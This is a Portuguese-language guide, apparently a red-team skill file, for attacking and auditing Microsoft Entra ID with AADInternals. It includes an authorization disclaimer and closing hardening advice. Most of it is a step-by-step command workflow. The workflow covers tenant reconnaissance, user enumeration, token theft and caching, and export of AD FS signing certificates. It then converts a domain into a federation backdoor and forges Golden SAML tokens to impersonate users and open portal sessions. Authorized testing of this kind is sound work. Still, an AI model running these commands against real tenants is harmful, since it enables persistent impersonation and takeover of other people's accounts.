O que Auditando Entra ID com AADInternals faz?
Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados, engajamentos de red-team e fins educacionais. O AADInternals pode forjar tokens SAML e instalar backdoors de federação que concedem personificação persistente de qualquer usuário do inquilino. Use apenas contra inquilinos que você possui ou com autorização escrita explícita (regras de engajamento) para testar. O uso não autorizado viola o Computer Fraud and Abuse Act e leis equivalentes.
Visão Geral
O AADInternals é o kit de ferramentas PowerShell ofensivo/administrativo mais abrangente para Microsoft Entra ID (anteriormente Azure AD), Azure AD Connect e Active Directory Federation Services (AD FS), criado pelo Dr. Nestori Syynimaa (Gerenios / Secureworks). Ele expõe centenas de cmdlets (todos prefixados com AADInt) cobrindo reconhecimento externo não autenticado, aquisição de tokens de acesso para todas as APIs da Microsoft, manipulação de diretório, ataques AD FS/PTA e a técnica pela qual é mais famoso: backdoors de federação que abusam do caminho Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor para que um invasor que controla o IssuerUri de um domínio federado possa cunhar tokens SAML para usuários arbitrários — mapeando para MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), a mesma classe de técnica usada nas invasões SolarWinds (Golden SAML).
O kit de ferramentas separa as capacidades por posição necessária. Invoke-AADIntReconAsOutsider e Get-AADIntLoginInformation não exigem credenciais — eles consultam endpoints públicos (getuserrealm, configuração OpenID, autodiscover) para revelar domínios verificados, ID do inquilino, tipo de federação, marca e se o SSO Desktop/Seamless está ativado. Com um ponto de apoio, os cmdlets Get-AADIntAccessTokenFor* adquirem tokens para Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management e mais, opcionalmente armazenando-os em cache para que cmdlets subsequentes os reutilizem. Com Administrador Global (ou uma conta AD Connect sincronizada), o kit de ferramentas pode ler segredos de diretório, manipular usuários e estabelecer o backdoor de federação.
Esta habilidade impulsiona o AADInternals através de uma lente de validação defensiva: confirmar o que um invasor externo pode aprender, o que um token com baixos privilégios alcança e se a configuração de federação/AD FS permitiria Golden SAML — em seguida, produzir evidências e recomendações de hardening.
Quando Usar
- Durante uma avaliação autorizada de red-team do Entra ID / Microsoft 365 ou simulação de invasão
- Para enumerar a superfície de ataque externa (domínios verificados, tipo de federação, SSO) antes de ataques de credenciais
- Para validar que os certificados de assinatura de token de federação e AD FS estão protegidos contra Golden SAML
- Para testar aquisição e replay de tokens em APIs próprias da Microsoft
- Ao construir detecções (combine com a habilidade de caça de log do Graph do time azul) e você precisar de telemetria real do AADInternals
Pré-requisitos
- Autorização por escrito cobrindo testes de ataque de identidade e backdoor de federação
- Host Windows com PowerShell 5.1+ (ou PowerShell 7 no subconjunto suportado)
- Para testes de backdoor/federação: Administrador Global (ou equivalente) no inquilino alvo, dentro do escopo conforme as ROE
- Instale o módulo da Galeria do PowerShell:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # Uma reimplementação multiplataforma AsOutsider-only (sem credenciais) também está disponível: # https://github.com/synacktiv/AADOutsider-py - Familiaridade com SAML/WS-Federation, tokens OAuth e Azure AD Connect
Objetivos
- Realizar reconhecimento de inquilino não autenticado e enumerar domínios verificados, ID do inquilino e tipo de federação
- Adquirir e armazenar em cache tokens de acesso para APIs próprias da Microsoft
- Enumerar usuários/grupos/funções com um token autenticado
- Testar o backdoor de federação / caminho Golden SAML de maneira controlada e autorizada
- Documentar a exposição e entregar recomendações de hardening (proteção de certificado de assinatura de token, monitoramento de federação)
Mapeamento MITRE ATT&CK
| ID | Técnica | Aplicação nesta habilidade |
|---|---|---|
| T1606.002 | Forge Web Credentials: SAML Tokens | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forjam tokens SAML para usuários arbitrários através de um IssuerUri de federação controlado (Golden SAML) |
Técnicas relacionadas: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (aquisição de token), T1556.007 Modify Authentication Process: Hybrid Identity (backdoors de federação/PTA).
Fluxo de Trabalho
Passo 1: Reconhecimento externo não autenticado
Nenhuma credencial necessária. Identifique domínios verificados, ID do inquilino, tipo de federação, marca e status SSO.
# Recon externo completo para um domínio (saída em tabela)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Detalhes de login/reino: federação vs gerenciado, AuthURL, marca
Get-AADIntLoginInformation -Domain "target.com"
# GUID do inquilino
Get-AADIntTenantID -Domain "target.com"
Passo 2: Enumeração de usuários externos (opcional, ruidosa)
Valide se nomes de usuário existem através dos endpoints GetCredentialType / autologon.
# Forneça uma lista de UPNs candidatos para testar a existência
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Ou canalize vários:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
Passo 3: Adquirir e armazenar tokens de acesso em cache
Com credenciais válidas (ou um prompt interativo), obtenha tokens para a API necessária. -SaveToCache permite que cmdlets posteriores reutilizem o token automaticamente.
# Token do Azure AD Graph (graph.windows.net legado), armazenado em cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
Passo 4: Enumeração de diretório autenticada
Usando um token armazenado em cache/adquirido, leia objetos de diretório para mapear privilégios.
# Informações globais do inquilino (usa token do AAD Graph em cache)
Get-AADIntTenantDetails
# Enumere usuários e procure por contas privilegiadas/sincronizadas
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
Passo 5: Inspecionar configuração de federação / AD FS
Determine se o inquilino usa domínios federados e onde as chaves de assinatura de token residem — o pré-requisito para Golden SAML.
# Se você tiver acesso ao servidor AD FS, exporte o certificado de assinatura de token
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Leia a configuração / chaves de criptografia do AD FS (no servidor AD FS ou via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
Passo 6: Backdoor de federação / Golden SAML (apenas autorizado)
Converta um domínio em um backdoor definindo um IssuerUri conhecido, em seguida forje um token SAML para um usuário alvo usando o ImmutableId desse domínio. Apenas em um inquilino controlado com autorização explícita.
# Requer um token de Administrador Global (AAD Graph) armazenado em cache no Passo 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# A saída inclui o IssuerUri para reutilizar ao forjar tokens.
# Forje um token SAML personificando um usuário (ImmutableId de Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Use o token forjado para abrir uma sessão do portal como o usuário personificado
Open-AADIntOffice365Portal -SAMLToken $saml
Passo 7: Documentar exposição e endurecer
Capture exatamente o que o reconhecimento revelou, quais tokens/APIs estavam acessíveis e se o caminho backdoor/Golden SAML teve sucesso. Recomende: proteger certificados de assinatura de token do AD FS (HSM, acesso DKM restrito), alertar sobre novas/alterações de relações de confiança de federação, monitorar Set-DomainAuthentication/Set-MsolDomainFederationSettings e migrar, quando viável, para autenticação gerenciada (nuvem).
Ferramentas e Recursos
| Recurso | Propósito | Fonte |
|---|---|---|
| AADInternals | Kit de ferramentas de ataque/administração Entra ID / AD FS | https://github.com/Gerenios/AADInternals |
| Documentação AADInternals | Referência de cmdlets e artigos de técnica | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | Reimplementação multiplataforma AsOutsider | https://github.com/synacktiv/AADOutsider-py |
| Informações Golden SAML | Artigo sobre técnica de backdoor de federação | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https://attack.mitre.org/techniques/T1606/002/ |
Referência Rápida de Cmdlets
| Cmdlet | Posição | Propósito |
|---|---|---|
Invoke-AADIntReconAsOutsider | Nenhuma | Domínios verificados, ID do inquilino, tipo de federação, SSO |
Get-AADIntLoginInformation | Nenhuma | Detalhes de reino/login para um domínio |
Get-AADIntTenantID | Nenhuma | GUID do inquilino |
Invoke-AADIntUserEnumerationAsOutsider | Nenhuma | Validar existência de usuário |
Get-AADIntAccessTokenForAADGraph | Credenciais | Token do Azure AD Graph (-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | Credenciais | Token do Microsoft Graph |
Get-AADIntAccessTokenForEXO | Credenciais | Token do Exchange Online |
Get-AADIntUsers | Token | Enumerar usuários do diretório |
ConvertTo-AADIntBackdoor | Admin Global | Converter um domínio em um backdoor de federação |
New-AADIntSAMLToken | Backdoor | Forjar um token SAML para um usuário (Golden SAML) |
Open-AADIntOffice365Portal | Token SAML | Abrir uma sessão do portal como o usuário personificado |
Critérios de Validação
- Reconhecimento externo concluído; domínios verificados, ID do inquilino e tipo de federação registrados
- Enumeração de usuários testada (ou documentada como fora do escopo)
- Token de acesso adquirido e armazenado em cache para pelo menos uma API da Microsoft
- Enumeração de diretório autenticada realizada (usuários/funções, contas sincronizadas anotadas)
- Configuração de federação / AD FS avaliada quanto à exposição de chave de assinatura de token
- Caminho backdoor / Golden SAML testado em um inquilino controlado autorizado ou documentado como fora do escopo
- Exposição documentada com impacto concreto
- Recomendações de hardening entregues (proteção de certificado, monitoramento de federação, migração para autenticação gerenciada)